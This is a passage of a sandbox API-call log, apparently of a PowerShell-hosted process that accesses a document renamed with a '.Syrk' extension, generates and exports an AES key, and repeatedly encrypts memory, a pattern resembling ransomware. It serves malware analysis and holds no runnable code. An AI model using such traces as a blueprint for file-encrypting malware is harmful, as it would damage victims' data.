"c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls.syrk")) returned 0x20 [0231.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk", lpFilePart=0x0) returned 0x36 [0231.671] EtwEventActivityIdControl () returned 0x0 [0231.671] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.672] EtwEventActivityIdControl () returned 0x0 [0231.672] EtwEventActivityIdControl () returned 0x0 [0231.672] EtwEventActivityIdControl () returned 0x0 [0231.758] EtwEventActivityIdControl () returned 0x0 [0231.759] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.759] EtwEventActivityIdControl () returned 0x0 [0231.759] EtwEventActivityIdControl () returned 0x0 [0231.759] EtwEventActivityIdControl () returned 0x0 [0231.764] EtwEventActivityIdControl () returned 0x0 [0231.764] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.765] EtwEventActivityIdControl () returned 0x0 [0231.765] EtwEventActivityIdControl () returned 0x0 [0231.765] EtwEventActivityIdControl () returned 0x0 [0231.770] EtwEventActivityIdControl () returned 0x0 [0231.770] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.770] EtwEventActivityIdControl () returned 0x0 [0231.770] EtwEventActivityIdControl () returned 0x0 [0231.770] EtwEventActivityIdControl () returned 0x0 [0231.789] EtwEventActivityIdControl () returned 0x0 [0231.789] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.790] EtwEventActivityIdControl () returned 0x0 [0231.790] EtwEventActivityIdControl () returned 0x0 [0231.790] EtwEventActivityIdControl () returned 0x0 [0231.795] EtwEventActivityIdControl () returned 0x0 [0231.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0231.847] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23a52cc | out: lpFileInformation=0x23a52cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fc2f00, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x5fc2f00, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x605b480, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x2634)) returned 1 [0231.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0231.849] GetConsoleOutputCP () returned 0x1b5 [0231.850] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0231.850] GetConsoleOutputCP () returned 0x1b5 [0231.850] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0231.850] GetConsoleOutputCP () returned 0x1b5 [0231.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.851] GetConsoleOutputCP () returned 0x1b5 [0231.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.851] GetConsoleOutputCP () returned 0x1b5 [0231.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0231.851] GetConsoleOutputCP () returned 0x1b5 [0231.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0231.851] GetConsoleOutputCP () returned 0x1b5 [0231.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.852] GetConsoleOutputCP () returned 0x1b5 [0231.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.852] GetConsoleOutputCP () returned 0x1b5 [0231.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0231.852] GetConsoleOutputCP () returned 0x1b5 [0231.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0231.852] GetConsoleOutputCP () returned 0x1b5 [0231.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.853] GetConsoleOutputCP () returned 0x1b5 [0231.853] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.853] GetConsoleOutputCP () returned 0x1b5 [0231.853] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0231.853] GetConsoleOutputCP () returned 0x1b5 [0231.853] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0231.853] GetConsoleOutputCP () returned 0x1b5 [0231.853] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.853] GetConsoleOutputCP () returned 0x1b5 [0231.854] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.854] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0231.854] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0231.854] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23bf564*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23bf564*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0231.855] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0231.855] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0231.856] EtwEventActivityIdControl () returned 0x0 [0231.856] EtwEventActivityIdControl () returned 0x0 [0231.857] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.857] EtwEventActivityIdControl () returned 0x0 [0231.857] EtwEventActivityIdControl () returned 0x0 [0231.857] EtwEventActivityIdControl () returned 0x0 [0231.859] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.859] EtwEventActivityIdControl () returned 0x0 [0231.859] EtwEventActivityIdControl () returned 0x0 [0231.859] EtwEventActivityIdControl () returned 0x0 [0231.862] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0231.863] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99860) returned 1 [0231.863] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.863] CryptExportKey (in: hKey=0x5c99860, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0231.863] CryptExportKey (in: hKey=0x5c99860, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23c718c, pdwDataLen=0x5a2e8c4 | out: pbData=0x23c718c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0231.864] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.864] EtwEventActivityIdControl () returned 0x0 [0231.864] EtwEventActivityIdControl () returned 0x0 [0231.864] EtwEventActivityIdControl () returned 0x0 [0231.865] SysStringLen (param_1="") returned 0x8 [0231.865] SysStringLen (param_1="E") returned 0x8 [0231.865] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.865] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0231.866] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0231.866] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.866] SysStringLen (param_1="EJ") returned 0x8 [0231.866] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.866] SysStringLen (param_1="\食䁖∕箪簕Ґ⋪) returned 0x8 [0231.866] SysStringLen (param_1="\食䁖∕箪簕Ґ⋪) returned 0x8 [0231.866] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.866] SysStringLen (param_1="EJP") returned 0x8 [0231.866] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.866] SysStringLen (param_1="䐹ⴂ༐쪕ͣᛥት") returned 0x8 [0231.866] SysStringLen (param_1="䐹ⴂ༐쪕ͣᛥት") returned 0x8 [0231.866] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.867] SysStringLen (param_1="EJP8") returned 0x8 [0231.867] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.867] SysStringLen (param_1="攧說쒰겗౐芪") returned 0x8 [0231.867] SysStringLen (param_1="攧說쒰겗౐芪") returned 0x8 [0231.867] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.867] SysStringLen (param_1="EJP8W") returned 0x8 [0231.867] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.867] SysStringLen (param_1="葢墂쐏쪞밧䩧") returned 0x8 [0231.867] SysStringLen (param_1="葢墂쐏쪞밧䩧") returned 0x8 [0231.867] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.867] SysStringLen (param_1="EJP8W5") returned 0x8 [0231.867] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.868] SysStringLen (param_1="䫥⭛ꒅⶽ睊蛬칂╫") returned 0x8 [0231.868] SysStringLen (param_1="䫥⭛ꒅⶽ睊蛬칂╫") returned 0x8 [0231.868] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.868] SysStringLen (param_1="EJP8W5d") returned 0x8 [0231.868] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.868] SysStringLen (param_1="喭䁷਎閲Ⰽ梉퉆豻") returned 0x8 [0231.868] SysStringLen (param_1="喭䁷਎閲Ⰽ梉퉆豻") returned 0x8 [0231.868] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.868] SysStringLen (param_1="EJP8W5dG") returned 0x8 [0231.868] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.868] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ") returned 0x8 [0231.869] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ") returned 0x8 [0231.869] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ") returned 0x8 [0231.869] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ") returned 0x10 [0231.869] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.869] SysStringLen (param_1="EJP8W5dGK蒹嬔⫬듻䐕쎔") returned 0x10 [0231.869] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.869] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ蔗㌰\ⷙࡏ馄捛∠) returned 0x10 [0231.869] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ蔗㌰\ⷙࡏ馄捛∠) returned 0x10 [0231.869] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.870] SysStringLen (param_1="EJP8W5dGKg嬔⫬듻䐕쎔") returned 0x10 [0231.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.870] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ澁욅⽘\룘\㿘譸ށ") returned 0x10 [0231.870] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ澁욅⽘\룘\㿘譸ށ") returned 0x10 [0231.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.870] SysStringLen (param_1="EJP8W5dGKgs嬔⫬듻䐕쎔") returned 0x10 [0231.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.870] SysStringLen (param_1="밬隅ꄃʄ㝦ຯꟚ䫒늕┉珮转ҩ") returned 0x10 [0231.870] SysStringLen (param_1="밬隅ꄃʄ㝦ຯꟚ䫒늕┉珮转ҩ") returned 0x10 [0231.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.870] SysStringLen (param_1="EJP8W5dGKgsF⫬듻䐕쎔") returned 0x10 [0231.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.871] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ瓑艆뾭⅌梒♧Nj࠘") returned 0x10 [0231.871] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ瓑艆뾭⅌梒♧Nj࠘") returned 0x10 [0231.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.871] SysStringLen (param_1="EJP8W5dGKgsFj듻䐕쎔") returned 0x10 [0231.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.871] SysStringLen (param_1="밬隅ꄃʄ㝦ຯᑡ줨쀋섔戣曡") returned 0x10 [0231.871] SysStringLen (param_1="밬隅ꄃʄ㝦ຯᑡ줨쀋섔戣曡") returned 0x10 [0231.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.871] SysStringLen (param_1="EJP8W5dGKgsFj5䐕쎔") returned 0x10 [0231.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.871] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ\⛚뵶ꇢ䙡鮖∂) returned 0x10 [0231.871] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ\⛚뵶ꇢ䙡鮖∂) returned 0x10 [0231.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.872] SysStringLen (param_1="EJP8W5dGKgsFj59쎔") returned 0x10 [0231.872] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.872] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ\ᯙ륁պ㐕ᒃ晟ᄡ∑) returned 0x10 [0231.872] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ\ᯙ륁պ㐕ᒃ晟ᄡ∑) returned 0x10 [0231.872] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.872] SysStringLen (param_1="EJP8W5dGKgsFj59W") returned 0x10 [0231.872] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.872] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ≌) returned 0x10 [0231.872] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ≌) returned 0x10 [0231.872] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ≌) returned 0x10 [0231.873] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ≌) returned 0x18 [0231.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.873] SysStringLen (param_1="EJP8W5dGKgsFj59W8嫳鉳擩侞䛳㞍脥") returned 0x18 [0231.873] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.873] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄࡌ匄鼝욓ꃊ猷⋀) returned 0x18 [0231.873] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄࡌ匄鼝욓ꃊ猷⋀) returned 0x18 [0231.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.873] SysStringLen (param_1="EJP8W5dGKgsFj59W8d鉳擩侞䛳㞍脥") returned 0x18 [0231.873] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.873] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ摌﵀귤筴酓ꌊ贺쿇∖) returned 0x18 [0231.873] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ摌﵀귤筴酓ꌊ贺쿇∖) returned 0x18 [0231.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.874] SysStringLen (param_1="EJP8W5dGKgsFj59W8dd擩侞䛳㞍脥") returned 0x18 [0231.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.874] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ䈌茩ꔇ憲쩑킞≽) returned 0x18 [0231.874] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ䈌茩ꔇ憲쩑킞≽) returned 0x18 [0231.874] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.874] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddG侞䛳㞍脥") returned 0x18 [0231.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.874] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ桌補桴က稐䀇⊓) returned 0x18 [0231.874] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ桌補桴က稐䀇⊓) returned 0x18 [0231.874] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.874] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGv䛳㞍脥") returned 0x18 [0231.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.874] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄㅌ뺕ݸꅆ仑첳땃⊚) returned 0x18 [0231.875] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄㅌ뺕ݸꅆ仑첳땃⊚) returned 0x18 [0231.875] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.875] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvB㞍脥") returned 0x18 [0231.875] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.875] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ쉌完㗵⃙檔罐蓅⊑) returned 0x18 [0231.875] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄ쉌完㗵⃙檔罐蓅⊑) returned 0x18 [0231.875] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.875] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBE脥") returned 0x18 [0231.875] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.875] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꑌ閭짨Ɛ礱퉝⋼) returned 0x18 [0231.875] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꑌ閭짨Ɛ礱퉝⋼) returned 0x18 [0231.875] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.875] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEW") returned 0x18 [0231.875] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.876] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍⋕) returned 0x18 [0231.876] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍⋕) returned 0x18 [0231.876] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍⋕) returned 0x18 [0231.876] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍⋕) returned 0x20 [0231.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.876] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuȭ蝧ꞎ쓖譔㸝᡾") returned 0x20 [0231.876] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.876] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍ߕ຿\᧙؀醊െ⤘") returned 0x20 [0231.877] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍ߕ຿\᧙؀醊െ⤘") returned 0x20 [0231.877] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.877] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQ蝧ꞎ쓖譔㸝᡾") returned 0x20 [0231.877] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.877] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍翕꬗듁ڢ爍귢厚ퟅ∩) returned 0x20 [0231.877] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍翕꬗듁ڢ爍귢厚ퟅ∩) returned 0x20 [0231.877] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.877] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUꞎ쓖譔㸝᡾") returned 0x20 [0231.877] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.877] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍フ᱇ꤛ洐跤୒榎逞⋯) returned 0x20 [0231.877] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍フ᱇ꤛ洐跤୒榎逞⋯) returned 0x20 [0231.877] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.877] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUA쓖譔㸝᡾") returned 0x20 [0231.878] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.878] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍ⳕ峸ⷨ焱擯孝祝柚⋎) returned 0x20 [0231.878] SysStringLen (param_1="밬隅ꄃʄ㝦ຯ繸扦\燞賄ﻰṄꉌ뢽ฺ䃰㤝⭏渽䕍ⳕ峸ⷨ焱擯孝祝柚⋎) returned 0x20 [0231.878] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.878] SysStringLen (param_1="EJP8W5dGKgsFj59W8ddGvBEWuQUAl譔㸝᡾") returned 0x20 [0231.878] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.878] SysStringLen 